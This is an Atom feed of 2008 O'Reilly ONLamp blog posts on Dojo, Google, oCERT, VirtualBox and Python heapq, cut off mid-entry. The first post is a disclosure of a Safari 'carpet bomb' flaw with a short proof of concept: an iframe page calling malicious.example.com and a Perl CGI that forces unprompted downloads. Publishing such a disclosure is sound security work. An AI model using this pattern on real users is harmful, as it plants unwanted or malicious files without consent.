<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
    <title>O&apos;Reilly ONLamp Blog</title>
    <link rel="alternate" type="text/html" href="http://www.oreillynet.com/onlamp/blog/" />
    <link rel="self" type="application/atom+xml" href="http://www.oreillynet.com/onlamp/blog/atom.xml" />
   <id>tag:www.oreillynet.com,2008:/onlamp/blog//10</id>
    <updated>2008-05-15T08:06:40Z</updated>
    <subtitle>O&apos;Reilly ONLamp Blog</subtitle>    <generator uri="http://www.sixapart.com/movabletype/">Movable Type 3.21</generator>
 
<entry>
    <title>Safari Carpet Bomb</title>
    <link rel="alternate" type="text/html" href="http://www.oreillynet.com/onlamp/blog/2008/05/safari_carpet_bomb.html" />
    <id>tag:www.oreillynet.com,2008:/onlamp/blog//10.23748</id>
    
    <published>2008-05-15T06:46:17Z</published>
    <updated>2008-05-15T08:06:40Z</updated>
    
    <summary>I let Apple know that I&apos;d like to discuss the 2 issues they won&apos;t be fixing with the security community and they let me know they are fine with it.</summary>
    <author>
        <name>Nitesh Dhanjani</name>
            </author>
            <category term="Technical" />
        <content type="html">
&lt;p&gt;I recently communicated 3 security issues in the Safari browser to Apple.&lt;/p&gt;
&lt;p&gt;Apple let me know that they will fix 1 of the issues I reported. I will not discuss the vulnerability Apple has promised to fix until they release the fix because it is a high risk issue affecting Safari on OSX and Windows. &lt;/p&gt;
&lt;p&gt;I let Apple know that I&amp;#8217;d like to discuss the 2 issues they won&amp;#8217;t be fixing with the security community and they let me know they are fine with it.&lt;/p&gt;
&lt;p&gt;A quote from my last email to Apple: &lt;/p&gt;
&lt;p&gt;&lt;i&gt;&amp;#8230;since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community. Just let me know if you would like me to wait for some amount of time before I do this.&lt;/i&gt;&lt;/p&gt;
&lt;p&gt;Response from Apple: &lt;i&gt; We understand if you want to discuss these in the security community.&lt;/i&gt;&lt;/p&gt;
&lt;p&gt;Before I get to the details, I want to make it extremely &lt;b&gt;clear&lt;/b&gt; that the Apple security team has been a pleasure to communicate with. I sent them a couple of emails asking for clarifications, and they responded quickly and courteously every time. I want to publicly acknowledge that I appreciate this very much.&lt;/p&gt;
&lt;p&gt;Here are the issues I reported:&lt;/p&gt;
&lt;p&gt;&lt;b&gt;1. Safari Carpet Bomb.&lt;/b&gt; It is possible for a rogue website to litter the user&amp;#8217;s Desktop (Windows) or Downloads directory (~/Downloads/ in OSX). This can happen because the Safari browser cannot be configured to obtain the user&amp;#8217;s permission before it downloads a resource. Safari downloads the resource without the user&amp;#8217;s consent and places it in a default location (unless changed).&lt;/p&gt;
&lt;p&gt;Assume you visit a malicious site, &lt;code&gt;http://malicious.example.com/&lt;/code&gt;, that serves the following HTML:&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
&amp;#60;HTML&amp;#62;&lt;br /&gt;
&amp;#60;iframe id=&amp;#34;frame&amp;#34; src=&amp;#34;http://malicious.example.com/cgi-bin/carpet_bomb.cgi&amp;quot&amp;#62;&amp;#60;/iframe&amp;#62;&lt;br /&gt;
&amp;#60;iframe id=&amp;#34;frame&amp;#34; src=&amp;#34;http://malicious.example.com/cgi-bin/carpet_bomb.cgi&amp;quot&amp;#62;&amp;#60;/iframe&amp;#62;&lt;br /&gt;
&amp;#60;iframe id=&amp;#34;frame&amp;#34; src=&amp;#34;http://malicious.example.com/cgi-bin/carpet_bomb.cgi&amp;quot&amp;#62;&amp;#60;/iframe&amp;#62;&lt;br /&gt;
...&lt;br /&gt;
...&lt;br /&gt;
...&lt;br /&gt;
...&lt;br /&gt;
&amp;#60;iframe id=&amp;#34;frame&amp;#34; src=&amp;#34;http://malicious.example.com/cgi-bin/carpet_bomb.cgi&amp;quot&amp;#62;&amp;#60;/iframe&amp;#62;&lt;br /&gt;
&amp;#60;/HTML&amp;#62;&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
Now assume that &lt;code&gt;http://malicious.example.com/cgi-bin/carpet_bomb.cgi&lt;/code&gt; is the following:&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
#!/usr/bin/perl&lt;br /&gt;
print &amp;#34;Content-type: blah/blah\n\n&amp;#34;&lt;br /&gt;
&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Since Safari does not know how to render &lt;codE&gt;content-type&lt;/code&gt; of &lt;code&gt;blah/blah&lt;/code&gt;, it will automatically start downloading &lt;code&gt;carpet_bomb.cgi&lt;/code&gt; every time it is served. If you are using Safari in Windows, this is what will happen to your desktop once you visit http://malicious.example.com/ :&lt;/p&gt;
&lt;p&gt;&lt;img alt="safaricarpetbomb.png" src="http://www.oreillynet.com/onlamp/blog/images/safaricarpetbomb.png" width="504" height="315" /&gt;&lt;/p&gt;
&lt;p&gt;The implication of this is obvious: Malware downloaded to the user&amp;#8217;s desktop without the user&amp;#8217;s consent.&lt;/p&gt;
&lt;p&gt;Apple does not feel this is a issue they want to tackle at this time. In my most recent email to Apple, I suggested that they incorporate an option in Safari so the browser can be configured to ask the user before anything is downloaded to the local file system. Apple agreed it was a good suggestion:&lt;/p&gt;
&lt;p&gt;&lt;i&gt;&amp;#8230;the ability to have a preference to &amp;#34;Ask me before downloading anything&amp;#34; is a good suggestion.  We can file that as an enhancement request for the Safari team.  Please note that we are not treating this as a security issue, but a further measure to raise the bar against unwanted downloads.  This will require a review with the Human Interface team.  We want to set your expectations that this could take quite a while, if it ever gets incorporated.&lt;/i&gt;&lt;/p&gt;
&lt;p&gt;[credit to BK have-it-your-way Rios for suggesting the term &amp;#34;Carpet Bomb&amp;#34; to describe this issue].&lt;/p&gt;
&lt;p&gt;&lt;b&gt;2. Sandbox not Applied to Local Resources.&lt;/b&gt; This issue is more of a feature set request than a vulnerability. For example, Internet Explorer warns users when a local resource such as an HTML file attempts to invoke client side scripting. I feel this is an important security feature because of user expectations: even the most sophisticated users differentiate between the risk of clicking on an executable they have downloaded (risk perceived to be higher) to clicking on a HTML file they have downloaded (risk perceived to be lower). &lt;/p&gt;
&lt;p&gt;Apple&amp;#8217;s response was positive:&lt;br /&gt;
&lt;i&gt;&amp;#8230;we have been investigating the potential for a &amp;#34;safe&amp;#34; mode for local HTML.  This is an area that requires a fairly deep investigation to address compatibility issues, and to determine the proper operation.  Please understand that when we label this as a security hardening measure, we are not discounting the benefits that this could have.&lt;/i&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;3. [Undisclosed].&lt;/b&gt; The third issue I reported to Apple is a high risk vulnerability in Safari that can be used to remotely steal local files from the user&amp;#8217;s file system. Apple responded positively and let me know that they are actively working to resolve the issue and issue a patch. I will post an update if I hear back from them.&lt;/p&gt;
&lt;p&gt;I&amp;#8217;d like to thank the Apple security team for their timely responses and for letting me discuss these issues with the security community.
&lt;/p&gt;
    </content>
</entry>
<entry>
    <title>Google and Microsoft Contribute to the Same Open Source Project</title>
    <link rel="alternate" type="text/html" href="http://www.oreillynet.com/onlamp/blog/2008/05/google_and_microsoft_contribut.html" />
    <id>tag:www.oreillynet.com,2008:/onlamp/blog//10.23741</id>
    
    <published>2008-05-14T15:00:00Z</published>
    <updated>2008-05-14T15:00:03Z</updated>
    
    <summary>I happened to come across this article in Redmond Developer News recently... Redmond Among Contributors to Open Source PHP Framework ...about contributers to the Zend Framework. Among the many (400) contributers to the project are Google and Microsoft. It&apos;s probably just me,...</summary>
    <author>
        <name>Todd Ogasawara</name>
            </author>
            <category term="Port25" />
        <content type="html">
&lt;p&gt;I happened to come across this article in Redmond Developer News recently&amp;#8230;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://reddevnews.com/news/devnews/article.aspx?editorialsid=1029"&gt;Redmond Among Contributors to Open Source PHP Framework &lt;/a&gt; &lt;/p&gt;
&lt;p&gt;&amp;#8230;about contributers to the &lt;a href="http://framework.zend.com/"&gt;Zend Framework&lt;/a&gt;. Among the many (400) contributers to the project are Google and Microsoft. It&amp;#8217;s probably just me, but I found it amusing (in a good way) that the two arch-rivals contributed pieces to the same Open Source project.&lt;/p&gt;
&lt;p&gt;The article goes on to describe how Microsoft sponsored work to enable InfoCard (now called &lt;a href="http://www.microsoft.com/net/cardspace.aspx"&gt;CardSpace&lt;/a&gt;) support in a number of Open Source products including Zend and Ruby on Rails.&lt;/p&gt;
    </content>
</entry>
<entry>
    <title>Why open source developers can be more productive, and other tales from a Google open house</title>
    <link rel="alternate" type="text/html" href="http://www.oreillynet.com/onlamp/blog/2008/05/why_open_source_developers_can.html" />
    <id>tag:www.oreillynet.com,2008:/onlamp/blog//10.23742</id>
    
    <published>2008-05-14T12:45:07Z</published>
    <updated>2008-05-14T12:50:52Z</updated>
    
    <summary>Google likes hiring programmers who contribute to open source projects
because they&apos;re more self-motivated. On open source projects,
volunteers may be assigned tasks, but often they recognize a need and
propose to fill it. This and many other interesting topics came up at
the party  celebrating the opening of Google&apos;s larger Cambridge,
Massachusetts office.
</summary>
    <author>
        <name>Andy Oram</name>
        <uri>http://www.praxagora.com/andyo/</uri>    </author>
            <category term="Opinion" />
        <content type="html">
&lt;p&gt;

Yesterday Google celebrated the opening of a larger Cambridge,
Massachusetts office, which takes up a substantial part of a building
right next to the Kendall/MIT subway stop in the higher-than-high tech
area of East Cambridge. I got a look at their new Friend Connect
service (covered in a
&lt;a href="http://radar.oreilly.com/archives/2008/05/google-friend-connect-and-limi.html"&gt;related Radar blog&lt;/a&gt;)
and heard some fascinating comments that the staff kindly let me
reproduce here.

&lt;p&gt;

Google staff certainly know how to say the right things and react in
ways I approve to the situations Google finds itself in. More and more
people I know (including authors) are Google employees, which is
statistically predictable because more and more people in general are
Google employees. The Cambridge office has been growing wildly since
it began with the purchase of the company that created Android. And
this office is one of 45 Google offices around the world.

&lt;p&gt;

This raises the question of whether the empire can be supported
through continued sales of advertising, and whether Google&amp;#8217;s stated
openness carries through to employee behavior on the ground. I
explored these questions with managers and staff at

 the party.

&lt;h2&gt;The resilience of advertising income&lt;/h2&gt;

I mentioned to an advertising manager my
&lt;a href="http://radar.oreilly.com/archives/2008/03/to-be-free-information-has-to.html"&gt;observations on Chris Anderson&amp;#8217;s &amp;#8220;Free!&amp;#8221; article&lt;/a&gt;.
The manager backed up my assertion that advertising could accomplish
more with less money as services such as AdSense made it more
effective in reaching targeted viewers. However, the manager was
confident that Google could depend on continued ad income, because
advertisers will keep up their investment in advertising, simply
spending the same amount to accomplish more.

&lt;p&gt;

I suppose that competition will drive advertisers to advertise as much
as they can. I fear the increase in consumption that this implies,
because the earth can&amp;#8217;t tolerate more material depletion. What we need
is advertising that encourages affluent people to spend money helping
people who don&amp;#8217;t have enough money. This can actually be more
satisfying (as psychologists have found) than throwing money into
personal accessories.

&lt;h2&gt;Why open source developers can be more productive employees&lt;/h2&gt;

One staff person said Google likes hiring programmers who contribute
to open source projects because they&amp;#8217;re more self-motivated. On open
source projects, volunteers may be assigned tasks, but often they
recognize a need and propose to fill it. The staff person didn&amp;#8217;t seem
to be grand-standing or trying to look hip by saying this. It just
seemed like a reasonable observation that drove recruitment.

&lt;p&gt;

Google occupies an odd place in the open community because its code
seems divided between two extremes. At one lies secret algorithms that
it guards as secretly as a defense agency; the area where it is being
challenged by the open
&lt;a href="http://alpha.search.wikia.com/"&gt;Wikia Search&lt;/a&gt;
project. All other code Google seems willing to release under open
source licenses. This is another way of saying that Google understands
better than most companies where its competitive advantage lies.

&lt;p&gt;

Just as a thought experiment, I imagined what would happen if Wikia
Search became popular using open search algorithms. The effect would
be similar to what Google does now. SEO experts would constantly
implement ways to game the Wikia Search system, and Wikia Search
supporters would race to close the holes in the dikes. But because the
Wikia Search activity would be open source, multiple solutions would
be available at any time (remember, I am totally fantasizing here).

&lt;p&gt;

Most likely, volunteers would offer various changes to Wikia Search
every morning, and it would be up to the user each time he or she
logged in to decide whether to accept the changes. After all, each
optimization could cause a degradation in some other aspect of
search. Intermediaries would emerge who would evaluate different
changes and ask ordinary users to trust their choices.

&lt;h2&gt;Innovation is bottom-up&lt;/h2&gt;

Along the lines of self-motivated employees, I asked a manager whether
most of their new products came from the individual employees or from
management. He expressed the conviction that most innovation in most
companies comes from individual employees. Where management can help
is in finding effective places to fit new features into the
organization and product line.

&lt;p&gt;

Google found that releasing too many products prevented the public
from learning about them and adopting them. Adding a feature to an
existing product such as Gmail or Blogger could mean that millions of
people adopt it, whereas releasing it as a stand-along product might
limit adoption to a few thousand.

&lt;h2&gt;Choice of licenses for Android applications&lt;/h2&gt;

An Android manager defended the choice of an Apache license for
Android&amp;#8217;s code. People answering the Android application challenge
don&amp;#8217;t even have to provide their source code. (There would probably be
ways to achieve this same flexibility using a GPL&amp;#8217;d base, but
companies might feel afraid to trust it.) The manager said it was
crucial to pull in companies who expect to make money licensing
applications. And he said that Google could still prevent forking and
fragmentation by showing the benefits of using a common, open base.

&lt;h2&gt;Why Google is in Boston&lt;/h2&gt;

The central topic of the party was, of course, Google&amp;#8217;s choice to come
to Boston as well as dozens of other cities around the world. There
were two justifications for this: not all the people you want to hire
are willing to move to the Silicon Valley, and having most employees
in one location limits their understanding of the needs of other
people around the world. This endorsement of diversity was echoed by a
university programs specialist who is responsible for promoting
interest in computer science programs and recruiting for Google.

&lt;p&gt;

Google isn&amp;#8217;t going as far as MySQL AB, which allows a lot of
one-person offices. But MySQL AB has much more narrowly targeted
hiring needs. Google tries to provide enough of a variety of projects
in offices such as Boston to provide a place for people who could
benefit the company, while trying to avoid splintering its development
in too many places.

&lt;h2&gt;Privacy initiatives&lt;/h2&gt;

When a scandal erupted several years ago from a US Justice Department
request for data from leading search engines, a number of search
engine companies and other interested parties joined together with the
goal of promulgating standards for privacy. I asked a Google manager
how this was progressing, and he said they were having trouble
reaching consensus.

&lt;p&gt;

Although Google servers contain a lot of data (including all the
contents of the email messages that Gmail users send and receive, and
all the documents they store in Google Docs), Google feels it&amp;#8217;s on the
right side of the privacy debate. They never ask you to explicitly
provide personal information, which you automatically give away to
dozens of other companies when you pay with a credit card or enter
your address for shipping or billing purposes. Many participants in
the privacy forum show less concern for privacy and more interest in
collecting user data.

&lt;p&gt;

I asked whether it would be better for organizations such as
&lt;a href="http://epic.org/"&gt;EPIC&lt;/a&gt;
and search engine companies willing to take strong privacy stands to
put out standards and start acting on their own. Hopefully, modeling
good behavior will provide pressure on other companies to go along.

&lt;h2&gt;Transparency comes home&lt;/h2&gt;

Finally, I had an amusing conversation with a friend who claimed he
doesn&amp;#8217;t join social networking sites at all. I recommended
&lt;a href="http://www.dopplr.com/"&gt;Dopplr&lt;/a&gt;,
which I like because it facilitates face-to-face meetings instead of
just more online chatter. He worried that exposing all his travel
would lead to constant pressures from acquaintances: &amp;#8220;Why didn&amp;#8217;t you
come visit me when you came to&amp;#8230;?&amp;#8221;

&lt;p&gt;

Well, that&amp;#8217;s the effect the Internet has. If we benefit from having
information at our fingertips, it means we can&amp;#8217;t use white lies and
silent omissions to accomplish our goals. We all have to be more
candid and most explicit. And this is precisely the privacy issue
Google faces: giving people information without constraining their
options.
    </content>
</entry>
<entry>
    <title>Dojo Goodness, Part 7 (Injecting Dojo After Page Load)</title>
    <link rel="alternate" type="text/html" href="http://www.oreillynet.com/onlamp/blog/2008/05/dojo_goodness_part_7_injecting.html" />
    <id>tag:www.oreillynet.com,2008:/onlamp/blog//10.23725</id>
    
    <published>2008-05-13T03:08:13Z</published>
    <updated>2008-05-13T03:08:14Z</updated>
    
    <summary>On a recent consulting gig, a client had the requirement that a JavaScript deliverable needed to run in a self-enclosed script tag that would be arbitrarily placed within the body of a page. In other words, I needed to deliver a JavaScript...</summary>
    <author>
        <name>Matthew Russell</name>
            </author>
        <content type="html">
&lt;p&gt;On a recent consulting gig, a client had the requirement that a JavaScript deliverable needed to run in a self-enclosed script tag that would be arbitrarily placed within the body of a page. In other words, I needed to deliver a JavaScript file such that the following code snippet would work:&lt;/p&gt;
&lt;pre&gt;
&lt;code&gt;
&amp;#60;!-- somewhere in the page... --&amp;#62;
&amp;#60;div id="specialContainer"&amp;#62;
    &amp;#60;script type="text/javascript" src="foo.js"&amp;#62;&amp;#60;/script&amp;#62;
&amp;#60;/div&amp;#62;
&amp;#60;!-- ... --&amp;#62;
&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;So, in the end, it&amp;#8217;s a pretty routine chore. A special container needs to exist at an arbitrary place in the page, the self-enclosed script tag will do some DOM building within it, and all of the magic happens therein. Well, hopefully, it goes without saying that I wanted to streamline the time it took me to complete this task with the help of &lt;a href="http://dojotoolkit.org"&gt;Dojo&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Fortunately, version 1.1 added a new parameter you can pass into &lt;code&gt;djConfig&lt;/code&gt; called &lt;code&gt;afterOnLoad&lt;/code&gt; that allows you to safely inject Dojo into the page after &lt;code&gt;onload&lt;/code&gt; hooks have occurred. In case you missed it, this feature was mentioned in the &lt;a href="http://dojotoolkit.org/book/dojo-1-1-release-notes"&gt;Dojo 1.1 release notes&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Here&amp;#8217;s a snippet from how the aforementioned &lt;em&gt;foo.js&lt;/em&gt; file that appears in the script tag might look:&lt;/p&gt;
&lt;pre&gt;
&lt;code&gt;
//protect our handiwork within the scope of an anonymous function...
(function() {
    //load Dojo (after the page's onload event has already occurred)
    djConfig = {afterOnLoad : true, require:['dojo.date','dojo.cookie']};
    var e = document.createElement("script");
    e.type = "text/javascript";
    e.src= "http://o.aolcdn.com/dojo/1.1/dojo/dojo.xd.js";
    document.getElementsByTagName("head")[0].appendChild(e);

    /* Whenever Dojo has loaded, go about your business. */
})()
&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;In a nutshell, you define &lt;code&gt;djConfig&lt;/code&gt;, and then append a script tag into the head of the page that will load Dojo from AOL&amp;#8217;s CDN. In this particular case, the &lt;code&gt;dojo.date&lt;/code&gt; and &lt;code&gt;dojo.cookie&lt;/code&gt; would be automatically loaded as well. The tricky part is in regards to the &amp;#8220;Whenever Dojo has loaded&amp;#8230;&amp;#8221; comment: as of version 1.1 there isn&amp;#8217;t a built-in way of determining when Dojo has actually loaded, and since the script tag that loads Dojo is asynchronous, you can&amp;#8217;t necessarily use anything in the &lt;code&gt;dojo.*&lt;/code&gt; namespace until whenever it is finally available. In other words, you don&amp;#8217;t have the safety or convenience of a &lt;code&gt;dojo.addOnLoad&lt;/code&gt; block in this case, so when should you actually start using stuff inside of the &lt;code&gt;dojo.*&lt;/code&gt; namespace?&lt;/p&gt;
&lt;p&gt;Well &amp;#8212; let not your heart be troubled; until version 1.2 is released that introduces the ability to provide an &lt;code&gt;afterOnLoad&lt;/code&gt; parameter directly to &lt;code&gt;djConfig&lt;/code&gt;, you might get by with this simple hack as a stop gap:&lt;/p&gt;
&lt;pre&gt;
&lt;code&gt;
/* Right after you have appended the script tag into the head of the page... */

/* Check every second to see if it's safe to kick things off... */
var _interval = setInterval(function() {
    if (window.dojo !== undefined) { // &amp;&amp; window.dojo.date !== undefined &amp;&amp; ...
        clearInterval(_interval);

        /* Whatever it is you're actually setting out to do... */

    }
}, 1000);
&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;By the way, all it took was a ping to JavaScript hacker extraordinaire &lt;a href="http://tagneto.blogspot.com/"&gt;James Burke&lt;/a&gt; to get the &lt;a href="http://trac.dojotoolkit.org/ticket/6727"&gt;addOnLoad featured added to version 1.2&lt;/a&gt; so that everything will work a little more conventionally. (Sweet!)&lt;/p&gt;
&lt;p&gt;You may not have realized it, but the intent of this column was multipurpose. Yes, I wanted to show you how you could use Dojo as part of a self-enclosed script tag after page load, which is useful for employing Dojo as part of an application that might appear on a social networking site or a bookmarklet, but I also wanted to illustrate at least two other things: 1) While Dojo may not drop a turn-key solution right into your lap 100% of the time, JavaScript&amp;#8217;s incredible dynamism and some ingenuity can still usually get you to where you need to go in short order, and 2) all it might take is a filing a ticket on &lt;a href="http://trac.dojotoolkit.org"&gt;Trac&lt;/a&gt; or asking someone in #dojo (IRC over at freenode.net) for help to get that turnkey solution you may be looking for delivered in the next dot release if it&amp;#8217;s a good feature. You&amp;#8217;ll hear me say time and time again that Dojo&amp;#8217;s community is second to none.&lt;/p&gt;
&lt;p&gt;If you find yourself in need of a good desktop reference on Dojo, please checkout my upcoming book, &lt;em&gt;&lt;a href="http://www.amazon.com/Dojo-Definitive-Guide-Matthew-Russell/dp/0596516487/"&gt;Dojo: The Definitive Guide&lt;/a&gt;&lt;/em&gt;.  I&amp;#8217;m completing the final edits this week, and it&amp;#8217;ll be off to the printers soon thereafter.&lt;/p&gt;
&lt;p&gt;Last but not least &amp;#8212; if you&amp;#8217;re going to OSCON, you might also register for my session entitled &lt;a href="http://en.oreilly.com/oscon2008/public/schedule/detail/2771"&gt;Web Graphics &amp;#038; Animations Without Flash (Or gfx Deliciousness with Dojo)&lt;/a&gt; or otherwise drop me a line if you want to get together and chat at some point during the week. The chances are pretty good that I&amp;#8217;ll be shifting gears in the coming weeks and run a few columns on the &lt;code&gt;dojox.gfx&lt;/code&gt; module as I prep my slides.
&lt;/p&gt;
    </content>
</entry>
<entry>
    <title>oCERT: Open Source Computer Emergency Response Team</title>
    <link rel="alternate" type="text/html" href="http://www.oreillynet.com/onlamp/blog/2008/05/ocert_open_source_computer_eme.html" />
    <id>tag:www.oreillynet.com,2008:/onlamp/blog//10.23711</id>
    
    <published>2008-05-12T12:00:00Z</published>
    <updated>2008-05-12T12:00:04Z</updated>
    
    <summary>Microsoft&apos;s Patch Tuesday will be upon us soon patching 3 critical and 1 moderate security problems. Security issues aren&apos;t just a problem for Microsoft software of course. And, I recently learned about... oCERT: Open Source Computer Emergency Response Team ...which describes itself...</summary>
    <author>
        <name>Todd Ogasawara</name>
            </author>
            <category term="Port25" />
        <content type="html">
&lt;p&gt;&lt;a href="http://www.microsoft.com/technet/security/Bulletin/MS08-may.mspx"&gt;Microsoft&amp;#8217;s Patch Tuesday&lt;/a&gt; will be upon us soon patching 3 critical and 1 moderate security problems. Security issues aren&amp;#8217;t just a problem for Microsoft software of course. And, I recently learned about&amp;#8230;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.ocert.org/"&gt;oCERT: Open Source Computer Emergency Response Team&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;#8230;which describes itself like this&amp;#8230;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;The oCERT project is a public effort providing security handling support to Open Source projects affected by security incidents or vulnerabilities, just like national CERTs offer services for their respective countries. &lt;/em&gt;&lt;/p&gt;
&lt;p&gt;There doesn&amp;#8217;t seem to be a lot there yet (&lt;a href="http://www.ocert.org/ocert_advisories.html"&gt;only 4 advisories posted&lt;/a&gt; so far, the last on April 17). But, I hope oCERT will become a good resource for those of us who deploy a lot of Open Source applications.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://port25.technet.com/search.aspx?q=security&amp;tags="&gt;Port 25 Security Related Blog items&lt;/a&gt;&lt;/p&gt;
    </content>
</entry>
<entry>
    <title>Another Virtualization Option: No, not VMware, or Xen, or Virtual Server&amp;#133;</title>
    <link rel="alternate" type="text/html" href="http://www.oreillynet.com/onlamp/blog/2008/05/another_virtualization_option.html" />
    <id>tag:www.oreillynet.com,2008:/onlamp/blog//10.23706</id>
    
    <published>2008-05-12T04:01:03Z</published>
    <updated>2008-05-12T04:01:08Z</updated>
    
    <summary>Okay, actually, there are a number of virtualization options not listed in the title, but the one nobody seems to be talking much about Sun&amp;#8217;s xVM VirtualBox. But, wait! you say, Sun begs to differ: &amp;#8220;Sun xVM VirtualBox software is the world&apos;s...</summary>
    <author>
        <name>Dustin Puryear</name>
            </author>
            <category term="Port25" />
        <content type="html">
&lt;p&gt;Okay, actually, there are a number of virtualization options not listed in the title, but the one nobody seems to be talking much about Sun&amp;#8217;s xVM &lt;a href="http://www.sun.com/software/products/virtualbox/index.jsp"&gt;VirtualBox&lt;/a&gt;. But, wait! you say, Sun begs to differ: &amp;#8220;Sun xVM VirtualBox software is the world&amp;#8217;s most popular open source virtualization platform because of its fast performance, ease of use, rich functionality, and modular design.&amp;#8221;&lt;/p&gt;
&lt;p&gt;Some cool features of VirtualBox include:&lt;/p&gt;
&lt;p&gt;•	Seamless windows - rather than a whole desktop environment, just the guest application windows can co-exist alongside native host applications.&lt;br /&gt;
•	Shared Folders - easily move documents and files between the host and guest systems.&lt;br /&gt;
•	Mouse pointer integration - it just works how you&amp;#8217;d expect it to.&lt;br /&gt;
•	Dynamically adjustable screen resolution in the guest.&lt;br /&gt;
•	Time Synchronization.&lt;br /&gt;
•	Shared clipboard.&lt;/p&gt;
&lt;p&gt;A lot of that is available elsewhere (e.g., time sync and shared folders), but seamless windows is a nice touch.&lt;br /&gt;
AND, VirtualBox is &lt;a href="http://www.virtualbox.org/"&gt;open source&lt;/a&gt;!&lt;/p&gt;
&lt;p&gt;Do check it out.&lt;/p&gt;
    </content>
</entry>
<entry>
    <title>PyMOTW: heapq</title>
    <link rel="alternate" type="text/html" href="http://www.oreillynet.com/onlamp/blog/2008/05/pymotw_heapq.html" />
    <id>tag:www.oreillynet.com,2008:/onlamp/blog//10.23703</id>
    
    <published>2008-05-11T18:13:20Z</published>
    <updated>2008-05-11T18:13:26Z</updated>
    
    <summary>The heapq implements a min-heap sort algorithm suitable for use with Python&apos;s lists....</summary>
    <author>
        <name>Doug Hellmann</name>
        <uri>http://www.doughellmann.com/</uri>    </author>
            <category term="Technical" />
        <content type="html">
The &lt;code&gt;heapq&lt;/code&gt; implements a min-heap sort algorithm suitable for use with Python&amp;#8217;s lists.

&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Module:&lt;/span&gt; &lt;a href="http://docs.python.org/lib/module-heapq.html"&gt;heapq&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Purpose:&lt;/span&gt; In-place heap sort algorithm&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Python Version:&lt;/span&gt; New in 2.3 with additions in 2.5&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Description:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;A heap is a tree-like data structure where the child nodes have a sort-order relationship with the parents.    Binary heaps can be represented using a list or array organized so that the children of element N are at positions 2*N+1 and 2*N+2 (for zero-based indexes).  This feature makes it possible to rearrange heaps in place, so it is not necessary to reallocate as much memory when adding or removing items.&lt;br /&gt;&lt;br /&gt;A max-heap ensures that the parent is larger than or equal to both of its children.  A min-heap requires that the parent be less than or equal to its children.  Python&amp;#8217;s heapq module implements a min-heap.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Creating a Heap:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;There are 2 basic ways to create a heap, &lt;code&gt;heappush()&lt;/code&gt; and &lt;code&gt;heapify()&lt;/code&gt;.&lt;br /&gt;&lt;br /&gt;Using &lt;code&gt;heappush()&lt;/code&gt;, the heap sort order of the elements is maintained as new items are added from a data source.&lt;br /&gt;&lt;br /&gt;&lt;div class="syntax"&gt;&lt;pre&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;heapq&lt;/span&gt;&lt;br /&gt;&lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;heapq_showtree&lt;/span&gt; &lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="n"&gt;show_tree&lt;/span&gt;&lt;br /&gt;&lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;heapq_heapdata&lt;/span&gt; &lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="n"&gt;heap&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;&lt;br /&gt;&lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="s"&gt;&amp;#39;random :&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;br /&gt;&lt;span class="k"&gt;print&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;br /&gt; &lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="s"&gt;&amp;#39;add &lt;/span&gt;&lt;span class="si"&gt;%3d&lt;/span&gt;&lt;span class="s"&gt;:&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt;&lt;br /&gt; &lt;span class="n"&gt;heapq&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;heappush&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;heap&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;br /&gt; &lt;span class="n"&gt;show_tree&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;heap&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="syntax"&gt;&lt;pre&gt;&lt;br /&gt;$ python heapq_heappush.py&lt;br /&gt;random : [19, 9, 4, 10, 11, 8, 2]&lt;br /&gt;&lt;br /&gt;add  19:&lt;br /&gt;&lt;br /&gt;                 19                 &lt;br 